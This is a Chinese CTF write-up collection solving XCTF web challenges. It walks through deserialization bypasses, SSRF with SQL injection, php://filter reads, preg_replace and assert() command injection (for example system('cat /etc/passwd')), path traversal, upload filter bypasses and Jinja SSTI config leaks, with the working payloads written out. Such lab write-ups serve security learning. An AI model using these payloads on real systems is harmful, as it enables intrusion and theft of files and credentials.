【XCTF】 Web进阶区 WriteUp 汇总
⭐ Web_php_unserialize(__wakeup()绕过+正则匹配绕过)
一个反序列化题目,页面直接给出了源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
进行简单的审计
先是创建了一个Demo类,类中定义私有属性$file为文件名,并初始化了三个魔术方法:
- __construct() 构造函数在实例化类时执行
- __destruct() 析构函数在销毁对象时执行
- __wakeup() 在反序列化前执行
其中__wakeup()
中给出flag文件的提示,但是如果执行该函数,则会强制将包含文件改为index.php,因此此处是一个过滤点,需要绕过。
继续往下,一个if else子句语句,GET接收var参数并进行base64解码,然后preg_match('/[oc]:\d+:/i', $var)
做过滤,其中正则表达式的含义是:匹配o:任意数字或c:任意数字,匹配到则终止程序,因此这里也许要绕过。
总共有两个过滤点需要绕过,先编写代码对Demo类实例化对象进行序列化,得到如下结果:
1
O:4:"Demo":1:{s:10:"\00Demo\00file";s:8:"fl4g.php";}
(\00为手动添加,因为是私有属性,但是\00在页面不会显示,所以需要手动添加)
绕过方法:
- 绕过执行==__wakeup()==魔术方法,根据之前做的题目,只需要将序列化后的Json串中的属性个数修改为大于真实属性个数即可绕过执行该魔术方法
- 绕过
preg_match('/[oc]:\d+:/i', $var)
对序列化的匹配,将O:4改为O:+4即可,因为+4等同于4
所以,在源码的基础上,添加序列化以及字符替换的代码,并直接输出base64编码后的序列化结果,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php");
$se = serialize($a);
$se = str_replace("O:4", "O:+4", $se);
$se = str_replace('"Demo":1', '"Demo":2', $se);
print(base64_encode($se));
GET传递base64编码结果,得到flag
也可以在线编码,但是注意需要在Demo左右添加\00,因为私有属性private在序列化时会自动添加类名及\00不可打印符号,但是查看源码是可以发现的:
所以在手动修改数据并base64时,需要添加\00
⭐ fakebook(SSRF+SQL注入)
4星难度的题目,从这道题开始明显感觉到有些吃力,能做出来得益于师傅们的wp文章。
首先扫描网站目录,发现存在flag.php文件,在robots.txt中发现了user.php.bak文件,访问该文件保存至本地,是php源码,进行代码审计:
1 |
|
通过审计发现,在get函数中,第23行没有对传入的url,也就是用户指定的自己的Blog地址做安全校验,导致此处可能存在SSRF漏洞
1 | $output = curl_exec($ch); |
然后在isValidBlog函数中,第41行对blog做了正则匹配,必须输入网址格式
1 | preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); |
已知可能存在SSRF,又有**isValidBlog()**函数过滤,但是不知道是在输入的时候过滤还是查询的时候同样过滤,如果是只在输入的时候过滤,那么只需要想办法将SSRF利用代码传入数据库,查询即可;如果是查询前过滤,那就得另寻他法了。
继续往下,在注册用户和查询用户信息参数处都存在SQL时间盲注,而且页面报错也爆出了网站根目录/var/www/html/
直接SQLmap跑表
跑fakebook库的内容,发现存储的是注册用户的个人信息序列化结果
尝试利用SQLmap执行系统命令失败了,这就有另外一个可能的利用方式了,已知信息如下:
- 存在SSRF,可能仅在注册时检查Blog URL的合法性
- 存在SQL注入
- 已知网站根目录和flag.php位置
- 数据库存储的是个人信息的序列化结果
利用这些,可以尝试在查询用户数据信息时,将用户的Blog URL改为file协议读取flag.php文件的SSRF利用代码,构造序列化结果并通过SQL注入来完成查询,即可得到Flag(当然这也是读师傅们文章得到的启发~)
通过对参数n的SQL注入测试,得到有4个字段,用户blog数据在第四个字段,而且程序对union select
有过滤,可以使用注释/**/
替换空格的方式绕过
payload:
1 | ?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' |
成功执行
查看页面源码已经读出flag.php文件内容,只不过做了base64编码后放在了iframe标签中
对这串base64解码同样是就是flag.php文件的内容
看了师傅们的wp,得知还有另一种更为简单的,但其实道理是一样的,都是利用SQL注入,读取/var/www/html/flag.php文件,只不过此方法是将数据回显放在了其他字段,比如姓名西段,就不需要做序列化了
payload:
1 | 0/**/union/**/select 1,load_file('/var/www/html/flag.php'),3,4 |
执行后查看源码即可得到Flag
总结一下
漏洞点:SSRF、SQL注入、报错信息泄露根目录,Web扫描得到关键路径
参考
https://blog.csdn.net/qq_42196196/article/details/81952174
http://www.mamicode.com/info-detail-2893815.html
⭐ cat(Django宽字节报错+php curl @读取文件)
很难,几乎完全参考师傅们的wp做完的,大佬的思路真的野!😅
一个ping功能的系统,尝试管道符命令执行发现被过滤,FUZZ测试,发现url过滤处的没有对以下特殊字符进行过滤:
测试发现后台使用的是GBK宽字符编码,可以通过修改url参数值为宽字符**%df**制造报错,发现后端是用Python的Django框架写的
而且找到了ping函数的内容:
把代码拷到本地,整理一下,其实也很简单的逻辑,甚至不需要拷到本地
1 |
|
首先escape()
函数对输入中的特殊字符进行转义,然后将转义结果放在re.match()
中进行匹配过滤,匹配网址或ip的数据格式,最后使用os.popen()
执行ping命令,得到并返回结果。
根据师傅们的文章得知,原题目在比赛中是有提示的( RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
),所以此处需要利用PHP curl中的@来读取文件,查找PHP手册得到了一些信息:https://www.php.net/manual/zh/class.curlfile.php
There are “@” issue on multipart POST requests.
Solution for PHP 5.5 or later:
- Enable CURLOPT_SAFE_UPLOAD.
- Use CURLFile instead of “@”.
Solution for PHP 5.4 or earlier:
- Build up multipart content body by youself.
- Change “Content-Type” header by yourself.
手册总的大致意思是在php5.5之后就废弃了POST请求中@+文件路径
的上传文件方法。在外网找到了一个相关使用示例:
利用此前的页面报错得到的Django项目路径,以及在报错页面搜索得到的database.sqlite3数据库文件,尝试读取该数据库文件
1 | @/opt/api/database.sqlite3 |
页面搜索CTF,得到Flag:AWHCTF{yoooo_Such_A_G00D_@}
原理
解释一下为什么此处能够读取到文件,正常程序POST请求和FILE请求是分开的,但是题目中将FILE请求和POST请求合并到了一块:
同时又将CONTENT_TYPE设定为奇怪的multipart/form-data
而PHP的curl中@上传文件正好是在需要 multipart/form-data
所以猜测后台的程序逻辑是:
- PHP接收GET参数,使用POST方式传递给后台Django搭建的api
- Django对PHP传进来的POST数据做GBK编码
- GBK编码后再执行Django中的ping操作
所以能够利用并读取文件的原理是:
- 利用PHP的curl @读取文件后,POST传递给Django做编码处理
- Django中GBK编码无法对POST传递的文件内容中超过%7F的字符做编解码处理就会报错,比如
\xe6
- Django开启了debug,所以会将POST数据作为报错输出到页面
也是参考师傅们学习的,路子太野了~
参考
https://www.php.net/manual/zh/function.curl-setopt.php
https://www.dazhuanlan.com/2019/12/30/5e0957fc025dc/
https://www.php.net/manual/zh/class.curlfile.php
https://www.cnblogs.com/Jleixin/p/13024972.html
http://code.iamkate.com/php/sending-files-using-curl/
⭐ ics-05(文件包含+php://filter本地读取+preg_replace()命令执行)
题目描述: 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统,所以直接进习通的维护中心板块,但是发现页面是接口请求异常
点击做上边的标题,发现url中page参数包含了index页面,考虑是否存在文件包含漏洞
将page参数改为/etc/passwd
成功包含,的确存在,但是尝试其他文件又没有反应,而且当输入的是字符串时,会直接输出该字符串,不太理解……
FUZZ跑一下特殊字符,发现所有字符都会被过滤,唯独#
不会过滤,且会作为截断符号
所以考虑能不能SQL注入,但是尝试了很久都没有结果,实在没办法,看了师傅们的wp得知,此处需要利用文件包含,通过php伪协议php://filter
来读取文件。
OK,既然知道了利用手段,开始学习呗。
官方解释php://filter
是 一种原封装器,设计用于数据流打开时的筛选过滤应用。,其实就是对数据流进行过滤,以当前题目的payload来实例分析:
1 | ?page=php://filter/read=convert.base64-encode/resource=index.php |
这里边:
- php: 代表一种php协议;
- **php://filter/ **表示用于访问本地文件;
- read=convert.base64-encode 代表读取的是base64编码后的结果;
- **/resource=index.php **表示要读取的目标文件是index.php。
当然还可以写文件,具体见以下链接及官方手册:
https://www.php.net/manual/zh/wrappers.php.php
https://www.cnblogs.com/linuxsec/articles/12684259.html
所以payload:
1 | ?page=php://filter/read=convert.base64-encode/resource=index.php |
读取index.php的base64编码后的内容,并输出在页面
base64解码后,得到index.php的源码,主要的部分有以下3个片段
1
1 |
|
这段主要在第9行,解释了为什么会返回字符串
2
1 |
|
这段对包含的文件名做了过滤,并对包含index.php的返回值做了重写,所以无法包含直接得到index.php源码,然后如果没有被甄别到的话,机会执行14行的包含文件操作,没有其他的安全校验了
3
1 | //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 |
这一段是最关键的,源码显示,如果X_FORWARDED_FOR
是127.0.0.1的话,就会触发下面的代码逻辑,接受3个参数进行preg_replace()
函数的正则替换,但是并没有对这三个参数做安全校验。
在之前的漏洞复现 CVE-2016-5734 - phpmyadmin远程代码执行 中学习到,preg_replace()
函数当正则表达式的模式是/e
时,会进行命令执行,具体可看之前的漏洞复现文章中的分析。所以我们只需要将X_FORWARDED_FOR
设定为127.0.0.1,然后构造payload执行命令读取flag即可。
使用ModHeader插件添加请求头,访问index.php页面即可触发内部测试页面
构造如下payload:
1 | ?pat=/(.)/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=aaa |
flag的路径是不断ls -l
出来的,发送即可包含该文件得到Flag
参考
https://www.php.net/manual/zh/wrappers.php.php
https://www.cnblogs.com/linuxsec/articles/12684259.html
https://blog.csdn.net/destiny1507/article/details/82347371
⭐ FlatScience(SQLite回显注入+python脚本密码碰撞)
题目来源:Hack.lu-2017
页面是一些链接,点进去全是pdf文件,有多层目录嵌套,没有发现可疑点
Dirb扫描发现了robots.txt文件,得到两个路径:login.php和admin.php
1 | User-agent: * |
admin.php提示需要admin账户登录,尝试SQL注入和登录绕过都失败了,原码处注释<!-- do not even try to bypass this -->
,看来行不通,暂时放下
在login.php中的usr参数发现了SQL注入漏洞,使用单引号制造报错,得到数据库类型SQLite以及网站根目录/var/www/html
而且在本页面的源码处也发现了注释提示:<!-- TODO: Remove ?debug-Parameter! -->
,意思是要**?debug吗,url后输入?debug**果然页面给出了login.php源码,截取部分关键的php代码如下:
1 |
|
审计结果:
- 第8行的SQL查询语句的确存在注入,有name和password字段,存储的password为拼接并做SHA1的结果
- 存在id参数,利用查询结果生成Cookie,此处会产生回显
- GET传参debug时,会输出login.php源码
所以思路就比较明确了,利用SQL注入,查询admin账户的密码然后破解或碰撞。
注入过程:
根据审计结果,测试是否会有注入回显,当查询到结果时,就会设定Cookie,以存在的admin用户为例
通过是否有Set-Cookie字段,进行order by和union select联合查询,得到回显点是在查询结果的第2个字段
SQLite数据库中,存在一个sqlite_master默认表,类似于mysql中的information_schema,可以在sqlite_master中查询所有的表明以及之前执行过的创建表的sql语句,具体:
sqlite_master 表是 SQLite 的系统表。该表记录该数据库中保存的表、索引、视图、和触发器信息。每一行记录一个项目。在创建一个 SQLIite 数据库的时候,该表会自动创建。sqlite_master 表包含5列。
type:记录了项目的类型,如 table、index、view、trigger 。
name:记录了项目的名称,如表名、索引名等。
tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身。
rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者 NULL 。
sql:记录创建该项目的 SQL 语句。
所以可构造的SQL语句如下:
1 | select tbl_name from sqlite_master -- 查询表名 |
这样的话,就可以利用limit子句,逐个查询表名,再通过查询创建该表的sql语句得到其字段信息,已经查到了存在Users表,查询其字段信息:
payload:
1 | ?usr='union select 1,sql from sqlite_master where type='table' and tbl_name='Users' --+&pw=aa&id=1 |
得到4个字段:id、name、password、hint
利用聚合函数group_concat()
分别查询name、password和hint
payload:
1 | ?usr=' union select 1,group_concat(name,"----") from Users --+&pw=aa&id=1 |
统计查到的数据:
1 | name: admin |
因为密码的散列值是加盐的,所以网上破解不出来,写了一个Python脚本对常用的2万个密码同样加盐做SHA1散列进行碰撞,没有得到结果。
hint提示密码就在那些pdf中,对%E2%80%A6%3F
做URL解码后逐个pdf查询也没有得到结果。懵了,没办法,看一下师傅们的wp吧,得知需要爬取所有PDF,对其中的单词进行加盐SHA1做碰撞测试。
OK,自己撸代码吧,不用师傅们写好的了,毕竟也是学了一段时间Python的,而且之前给女盆友写英文PDF翻译工具时已经有一些轮子了,直接拿来用吧(小声bb:给小黑同学的翻译工具到现在还没写好,没有找到合适的翻译api)
大概花了1个半个小时写完。。。太慢了😓
1 | #!/usr/bin/python3.7 |
运行脚本,当碰到正确的密码时自动终止
根据散列值得知是fritze账户,admin.php页面输入得到Flag:
检索30多个PDF来找到密码,只能说大佬们的路子真的野~😌
⭐ bug(任意用户密码重置+XFF伪造+文件上传)
[redinfo title=”题目信息”]来源: RCTF-2015
难度:5星
考察:逻辑漏洞(任意用户密码重置)、参数猜测、XFF IP伪造、文件上传绕过(后缀解析、MIME、PHP脚本限制)[/redinfo]
比较发散,题目环境有以下功能点:登陆前(登录、注册、找回密码),登录后(管理、修改密码、个人信息、退出),管理界面需要admin权限
注册了一个aaa的用户,对登录、注册等功能SQL注入无果,但是在请求头的Cookie中有一个user的字段,对其值做MD5解密发现是5:aaa,其中5是aaade uid,尝试将user值改为admin相关的MD5散列进行越权,依然失败。
在找回密码处发现,当身份验证成功时,重置密码会在数据包中同时传入用户名和新密码,所以怀疑是重置密码相关的逻辑漏洞。
将用户名改为admin,成功修改admin的密码
登录admin账户查看manage界面,提示IP不允许,上ModHeader,老朋友了,将XFF修改为127.0.0.1,成功绕过IP校验
查看页面源码,发现提示:<!-- index.php?module=filemanage&do=???-->
,需要猜测do参数,是对文件进行管理,无非就是:download、upload、delete、read、write、move、copy,逐个试一下发现此处参数是upload,触发文件上传题目
经过不断上传尝试,发现系统会做文件后缀检测、MIME检测、PHP脚本文件检测(检测<?php),但是又需要上传一个php木马,所以要同时绕过这三个检测。
当使用php5绕过后缀检测、修改MIME为image/png后,在php脚本文件监测处,当存在<?php
时提示Something shows it is a php!
,当在?和php之间加一个空格<? php
时又提示It is not a really php file
这就表明,不能够使用这种php脚本的写法,后台会检测到,题目考差的是php脚本的第二种写法:
1 | <script language="php">phpinfo()</script> |
将payload改为第二种写法,得到flag
⭐ shrine(SSTI+url_for()沙盒逃逸)
题目给出了源码:
1 | import requests |
shrine路径可成功进行SSTI
第5行使用app.config['FLAG'] = os.environ.pop('FLAG')
添加了一个全局配置,猜测就是flag
但是在12行定义了safe_jinja()
来进行安全校验:
1 | def safe_jinja(s): |
首先删除(),然后定义黑名单,将config和self替换为None。
这道题如果没有过滤的话,可以直接**{{config}}
或{{self.__dict__}}
**,经查阅,除此之外还有其他的函数方法可以使用:
url_for()
一般我们通过一个URL就可以执行到某一个函数。如果反过来,我们知道一个函数,怎么去获得这个URL呢?url_for函数就可以帮我们实现这个功能。url_for()函数接收两个及以上的参数,他接收函数名作为第一个参数,接收对应URL规则的命名参数,如果还出现其他的参数,则会添加到URL的后面作为查询参数。get_flashed_messages()
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
具体可参考:
https://blog.csdn.net/houyanhua1/article/details/85470175
https://blog.csdn.net/shuibuzhaodeshiren/article/details/86819537
首先利用url_for查看当前所有全局变量字典,发现了Flask
所以payload如下,即可得到flag
1 | {{url_for.__globals__["current_app"].config}} |
get_flashed_messages的payload是一样的
1 | {{get_flashed_messages.__globals__["current_app"].config}} |
参考
https://blog.csdn.net/qq_33020901/article/details/83036927
⭐ Web2(程序逆向)
出自NSCTF,题目页面给出了一段代码,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
要求是逆向加密算法,解密$miwen就是flag,进行代码审计吧
程序其实就是自定义一个加密函数encode(),按步骤分析结果如下:
1
2
3
4
5
6
7
8
9
10
11
function encode($str){
$_o=strrev($str); // 将$str反转(逆序)
for($_0=0;$_0<strlen($_o);$_0++){ // 遍历
$_c=substr($_o,$_0,1); // $_c 等同于 $_o[$_0]
$__=ord($_c)+1; // $__ 等于 $_c的ascii值加1
$_c=chr($__); // 再将 $__ 转为ascii字符
$_=$_.$_c; // 字符串拼接
}
return str_rot13(strrev(base64_encode($_)));
// 先base64编码、再逆序,再进行ROT13 编码(所有字母按照字母表向前移动13位)
}
有几个函数拿出来记录一下:
- strrev(str):对字符串执行逆序操作,如str=abcd,执行后为dcba
- substr(str, a, n):在字符串str中,从下标为a开始截取,共截取n个字符(不指定n则截取到末尾)。题目中n为1,a又是不断递增,所以和啊a[i]这种没有区别
- ord(s):返回字符s的ascii码
- chr(n):返回数字n对应的asscii字符
- str_rot13(str):字符串str中所有字母按照字母表向前移动13位(还原就是再执行一次该函数)
知道了加密流程,解密就从后往前依次反向操作就OK了,直接用php写吧,代码如下:
1
2
3
4
5
6
7
8
9
10
11
function decode($str){
$_o = base64_decode(strrev(str_rot13($str)));
$_ = "";
for($_0 = 0; $_0 < strlen($_o); $_0++){
$_c = substr($_o, $_0, 1);
$__ = ord($_c) - 1; // 解密减1
$_c = chr($__);
$_ = $_ . $_c;
}
return strrev($_);
}
传入密文,执行即可得到flag
⭐ PHP2(phps源码泄漏+URLencode绕过)
题目首页:
尝试直接在url后边加id=1……来猜测,但是无果。经师傅们的博文提示,得知寻在index.php文件,但是访问该文件没有反应。
OK,尝试访问index.phps(.phps后缀为php文件的源码文件,用于在网页查看php源码,因为php会被解析执行),得到页面源码:
1 |
|
进行简单的审计
GET方式传入id参数,对id有两个if判断语句:
- 第一个:强等于判断id是否为admin,若是则终止程序
- 第二个:弱等于判断id是否为admin,若是则输出flag
其中,第一个和第二个if判断之间进行了一次主动url解码操作。
起初以为是php弱类型相关题目,所以传入了id=0,但是不正确,于是采用另一种。
根据源码,需要在传入id时绕过第一次的等于admin判断,即第一次admin判断为false,然后经过urldecode后,再次判断admin为true。但是由于浏览器有一次url自解码操作,所以需要进行两次url编码。
使用Burp对admin做url二次编码:
传入id,得到flag:
⭐ NewsCenter(常规SQL注入)
一道SQL注入题目,很基础的POST字符型注入,首先fuzz以下得到可解析符号,最终得到使用以下payload可成功解析:
1 | 1' or 1=1 # |
没有任何过滤,因此按照常规手工注入步骤依次执行:
1 | -1' order by 3 # |
得到flag
也可以sqlmap进行工具注入。
⭐ mfw(.git源码泄露+assert()命令执行)
网站使用page参数进行文件包含,尝试直接包含passwd文件结果有过滤,About页面有提示用了Git、php和bootstrap
使用Git就应该想到**.git源码泄漏**,Dirb跑一下果然存在.git目录,使用工具GitHack恢复git历史文件,恢复的原理是:
解析 .git/index
文件,并找到工程中所有的文件名和文件 sha1,然后去 .git/objects/
文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码。具体可参考下面的文章:
使用GitHack恢复出以下文件,但是flag没有直接给出,考虑其他办法
在index.php中发现了过滤代码:
1 |
|
第9行使用了**assert()**断言函数,这个函数是可以用来进行代码执行的,而且过滤也很简单,就是用strpos ('$file', '..')
判断是否存在..
,既然知道了过滤方法,也没有对page参数做安全校验,所以可以来命令执行
首先需要闭合strpos的前半部分,然后加入system()代码,再闭合后半部分,
1 | aaa', '123') === false and system('cat /etc/passwd') and strpos('aaa |
url编码后传参,成功执行
1 | aaa%27%2c+%27123%27)+%3d%3d%3d+false+and+system(%27cat+%2fetc%2fpasswd%27)+and+strpos(%27aaa |
修改文件为./templates/flag.php文件,即可得到flag
经过大佬的指点,理解了为什么git源码中看不到flag,而cat就可以,因为cat的文件和.git中存放的不是同一个文件。
⭐ upload1(前端JS校验绕过)
打开题目,一个文件上传的功能,尝试上传shell.php,提示只允许jpg或png,F12在网络中没发现js文件,查看源吗发现前端过滤的js文件:
使用NoScript无效后,索性抓包并主动响应该请求,修改响应包的js源码,直接将校验函数return true:
再次上传shell.php,即可成功上传
蚁剑连接,在web根目录发现flag.php,得到flag
当然还可以通过修改后缀的方式来绕过前端校验。
⭐ ics-04(SQL注入+注册覆盖)
题目描述,在系统地登录和注册处存在安全漏洞,立马想到可能是SQL注入。
系统有注册、登录和找回密码三处功能,注册了几个账户,登陆后体术普通用户登陆无效,看来需要管理员账户或权限
尝试在注册处抓包,通过user level修改权限进行越权,但是没有发现相关参数。
接着在找回密码处发现了SQL注入,直接丢SQLmap跑出了user表的内容,得到一个默认账户,猜测是管理员账户
密码MD5直接跑出来了😂应该是做了这个题后添加了这条记录吧
登录该账户,即可得到flag。
但是这道题应该不是仅仅利用一个SQL注入的,原意是密码无法解开吧,所以在SQL注入得到管理员用户名后,需要利用重复注册漏洞来覆盖管理员密码
用设定的新密码登录,即可得到flag
⭐ unserialize3(php反序列化__wakeup()绕过)
题目是一段php代码,是反序列化题目,需要将序列化结果通过code传递。
源码保存到本地,添加序列化代码进行审计和输出测试,需要补全大括号
1
2
3
4
5
6
7
8
9
10
11
12
13
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$s = new xctf;
echo(serialize($s));
首先发现,代码中存在__wakeup()魔术方法,该魔术方法在反序列化操作执行前调用,用于初始化操作,如获取必要资源等。
但是本题中__wakeup()
内容是结束程序,因此很明显本题是要利用__wakeup()魔术方法的失效漏洞,即在反序列化时,当对象属性个数大于真实个数,就会绕过该魔术方法直接执行反序列化操作。
执行该代码,得到以下序列化结果:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
将属性数量改为大于当前数量的值,比如2,然后发包,即可得到flag
⭐ warmup(文件包含)
https://www.yyxzz.net/articles/169.html
题目出自2018 HCTF,打开链接(滑稽.jpg)🧐
将图片保存到本地没有发现线索,查看网页源码,发现了提示:
存在source.php,于是地址后边跟source.php,成功输出源码
保存至本地,进行代码审计
但是审计时发现,诶,怎么有点熟悉,好像之前复现了一个phpmyadmin任意文件包含的漏洞,跟这个题目的源码逻辑一模一样,太棒了!
具体的审计过程可以参考之前的phpmyadmin漏洞复现,原理一模一样!
这里大致说一下漏洞:
- 程序设定文件白名单,并利用?分割后的第一个数据来做白名单校验,还加入了urldecode,因此可以二次传递进行目录穿越,达到任意文件读取。
OK回到题目,经过对source.php审计发现,还有一个hint.php,因为是白名单内所以正常包含该文件,得到以下关于flag的线索:存在于 ffffllllaaaagggg 文件内
在当前目录包含失败后,考虑可能存在于根目录,于是不断尝试利用passwd文件找到根目录
payload:
1
http://220.249.52.133:54486?file=hint.php?/../../../../etc/passwd
根目录包含flag文件,得到flag
payload:
1
http://220.249.52.133:54486?file=hint.php?/../../../../ffffllllaaaagggg